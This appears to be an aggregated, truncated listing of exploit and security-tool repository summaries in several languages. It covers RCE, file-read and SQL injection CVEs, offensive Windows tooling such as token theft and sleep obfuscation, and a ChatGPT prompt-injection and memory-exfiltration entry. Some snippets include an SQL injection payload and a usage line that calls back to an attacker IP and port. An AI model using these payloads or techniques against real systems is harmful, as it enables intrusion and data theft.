flar3ad

flar3ad 是一款利用 CVE-2026-51031 的工具，可通过 FlareSolverr API 的 /v1 端点并使用 driver.get 函数来利用该漏洞，从而读取目标服务器上的文件。详细说明见 xinyi 的博客。 安装 git clone https://github.com/daemoncibsec/flar3ad.git cd flar3ad python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +...

gitread

gitread 自己管理型のGitLab CE/EEに影響を与える、認証不要の任意ファイル読み取りであるCVE-2026-85706のPoC。 | ---|--- CVE| CVE-2026-85706 CVSS| 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N 影響を受けるバージョン| 18.7 から 19.1.7、19.2.0 から 19.2.5、19.3.0 から 19.3.1 修正済み| 19.1.8 / 19.2.6 / 19.3.2 2026-09-10 リリース コンポーネント| Repository Commits API / Files...

CVE-2026-78906-ChatGPT-Prompt-Injection

CVE-2026-78906 — PromptGhost ChatGPT API — プロンプトインジェクションとメモリ流出 フィールド| 値 ---|--- 深刻度| 8.7 高 攻撃ベクトル| ネットワーク 影響を受けるバージョン| API v1.0 – v1.3 発見者| 𝕍𝕠𝕤𝕤🥷 説明 OpenAI ChatGPT API における重大な脆弱性により、攻撃者がシステムレベルの制限を回避する悪意のあるプロンプトを注入し、以前の会話コンテキストを外部に持ち出すことが可能になります。 影響 会話履歴への不正アクセス 機密コンテキストの外部流出 システムプロンプトのバイパス...

CVE-2022-36804-Bitbucket-RCE-Analysis

CVE-2022-36804: Bitbucket リモートコマンド実行 RCE ヌルバイト引数インジェクションの技術分析とラボ環境での実証 脆弱性の概要 CVE-2022-36804 は、Atlassian Bitbucket Server および Data Center の REST API における高/重大度の引数インジェクション 脆弱性です。 公式の NVDNational Vulnerability Database基本スコアは、読み取り権限が必要PR:Lという前提に基づく 8.8 High ですが、本分析では 9.8 Critical...

CVE-2025-54123

CVE-2025-54123 概述 HoverFly 中间件 API 端点中存在已认证的远程代码执行漏洞，原因是输入验证不足和存在不安全的命令执行。 攻击流程 1. 认证 攻击者使用有效凭据或会话令牌认证到 HoverFly 通过 /api/token-auth 端点获取 Bearer 令牌 2. 恶意载荷构造 攻击者构造 JSON 载荷，包含： binary：/bin/bash（用户可控） script：任意 Shell 命令（例如 whoami、反向 shell） 3. 漏洞利用投递 向 /api/v2/hoverfly/middleware 发送 PUT 请求，携带恶意载荷 在...

CVE-2023-27163

CVE-2023-27163 Request-Baskets v1.2.1 - サーバーサイドリクエストフォージェリ SSRF request-baskets v1.2.1 以前には、コンポーネント /api/baskets/name を介したサーバーサイドリクエストフォージェリ SSRF が存在することが判明しました。この脆弱性により、攻撃者は細工されたAPIリクエストを介してネットワークリソースや機密情報にアクセスできるようになります。 インストール git clone https://github.com/0xFTW/CVE-2023-27163 cd CVE-2023-27163...

CVE-2023-43208-PoC

Mirth Connect RCE 利用工具 CVE-2023-43208 此脚本是针对 Mirth Connect （4.4.1 之前版本）中远程代码执行（RCE）漏洞的概念验证（PoC）。它通过 API 利用 XStream 反序列化漏洞。 要求 Python 3.10 或更高版本（兼容 3.13）。 与目标的网络连接。 工具使用 python3 CVE-2023-43208.py -u https://IP-victima -lh IP-atacante -lp puerto 安装 建议使用虚拟环境： python3 -m venv venv source...

CVE-2024-9707

CVE-2024-9707 Hunk Companion = 1.8.4 - 認可欠如による未認証の任意プラグインのインストール/有効化 説明 WordPress 用プラグイン Hunk Companion は、バージョン 1.8.4 までの全バージョンにおいて、/wp-json/hc/v1/themehunk-import REST API...

Unauthenticated-RCE-FUXA-CVE-2023-33831

認証不要のRCE FUXA CVE-2023-33831 この脆弱性はFUXAのスクリプティングコンポーネントに影響を与えます。これは、ユーザーが制御可能な入力の制御やサニタイズが欠如しているため、危険なメソッドの使用を許し、リモートコード実行に拡大される可能性があります。 影響を受けるルートは/api/runscriptです。ここでは、認証を必要とせずに、codeパラメータを介してPOSTメソッドで、childprocessモジュールのexec関数を使用してコマンドを実行することが可能です。 使用方法 python CVE-2023-33831.py --rhost --rport...

CVE-2023-28121-WordPress-Privilege-Escalation

🔐 CVE-2023-28121 — WordPress 権限昇格 WooCommerce Payments プラグインを使用した WordPress の重大な脆弱性の実践的な悪用。 📌 概要 CVE-2023-28121 は、REST API を介して認証なしで管理者ユーザーを作成することを可能にします。 重大度: 緊急 CVSS 9.8 影響: サイトの完全な制御 種別: Authentication Bypass / Privilege Escalation 2023年3月時点で60万以上のアクティブなインストール...

CVE-2023-23752

CVE-2023-23752 CVE-2023-23752는 Joomla! 서버에서 정보 유출로 이어지는 인증 우회 취약점입니다. NVD에서 CVSSv3 5.3 중간 심각도으로 평가되었지만, 이 취약점은 적절한 조건에서 공격자가 코드 실행을 달성할 수 있게 합니다. 이는 공격자들이 이 취약점에 관심을 보인 이유일 것입니다. 스크린샷 요구 사항 Python3.7+ 지원 OS Linuxer Wingays 시작하기 $ git clone https://github.com/Pari-Malam/CVE-2023-23752 $ cd...

Exploit for Improper Authentication in Fortinet Fortiproxy

CVE-2022-40684 — FortiOS / FortiProxy / FortiSwitchManager Aut...

CVE-2024-12025

CVE-2024-12025 Collapsing Categories = 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause FLOOR Payload: taxonomy=category' AND SELECT 7250 FROMSELECT COUNT,CONCAT0x7176707171,SELECT ELT7250=7250,1,0x7162706a71,FLOORRAND02x FROM INFORMATIONSCHEMA.PLUGINS GROUP B...

Security Bulletin: Vulnerabilities reported in cxf-rt-frontend-jaxrs-4.2.2.jar are addressed in APIM 11.1

Summary Vulnerabilities reported in cxf-rt-frontend-jaxrs-4.2.2.jar are addressed in APIM 11.1 Vulnerability Details CVEID:CVE-2026-57819 DESCRIPTION: Apache CXF allows to set a limit on the number of form parameters in a JAX-RS message via the "maxFormParameterCount" configuration option. Howeve...

Nim_DInvoke

Nim DInvoke Nim による D/Invoke 実装 すべての Nim バイナリは、通常同じ 58〜60 個の Windows API 関数を公開します: その他の Windows API 関数は、OffensiveNim または こちらのブログ記事 で述べられているように、通常は実行時に GetProcAddress と LoadLibraryA を介して解決されます。 したがって、Nim で DInvoke を使って API インポートを（完全に）隠すことはできません。ただし、誰かが例えばこの DInvoke 実装を利用して、Dynlib の代わりに DInvoke...

YARAify

YARAify YARAifyは、オープンなYARAスキャン・検索エンジンです。このリポジトリには、YARAify APIと連携するためのサンプルのPython3スクリプトがいくつか用意されています。 Auth-Keyを取得する YARA APIにクエリを実行するには、Auth-Keyを取得する必要があります。まだAuth-Keyをお持ちでない場合は、https://auth.abuse.ch/で無料で取得できます。 YARAスキャンのためにファイルを提出する このスクリプトは、スキャンエンドポイントを呼び出して、YARAifyサービスを使用してファイルをスキャンします。 python3...

Ekko

Ekko CreateTimerQueueTimer Win32 API を使用する小さなスリープ難読化テクニックです。 概念実証（PoC）です。より良い実装が可能です。 注記 この実装には既知の欠陥があります。 したがって、その仕組みを理解せずに、あるいは欠陥を発見・修正する方法を知らずに使用することはお勧めしません。 TLDR: 自分のインプラントにコピペしないでください。 クレジット Austin Hudson @SecIdiot https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html 元々は Peter...

Security Bulletin: micrometer-core related vulnerabilities ireported n APIM 11.1

Summary micrometer-core related vulnerabilities ireported n APIM 11.1, are addressed by upgrade Vulnerability Details CVEID:CVE-2026-40984 DESCRIPTION: In Micrometer, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service DoS condition. Affected...

pentest-mapper

Pentest Mapper Pentest Mapper は、Burp Suite のリクエストログをカスタムアプリケーションテストチェックリストと統合する Burp Suite...

TokenPlayer

TokenPlayer Windows アクセス トークンの操作と悪用。 TokenPlayer は、Win32 API プログラミングを学び、Windows のアクセス トークンのモデルをより深く理解するために作成した小さなツールです。 特徴: プライマリ トークンの窃取と偽装。 保護されたプロセスの偽装。 トークン複製方式を使用した UAC の回避。 資格情報を指定してネットワーク認証用の新しいトークンを作成（runas /netonly に類似）。特別な権限や昇格したコンテキストは不要。 親プロセス ID を偽装し、別の親を持つプロセスを起動。...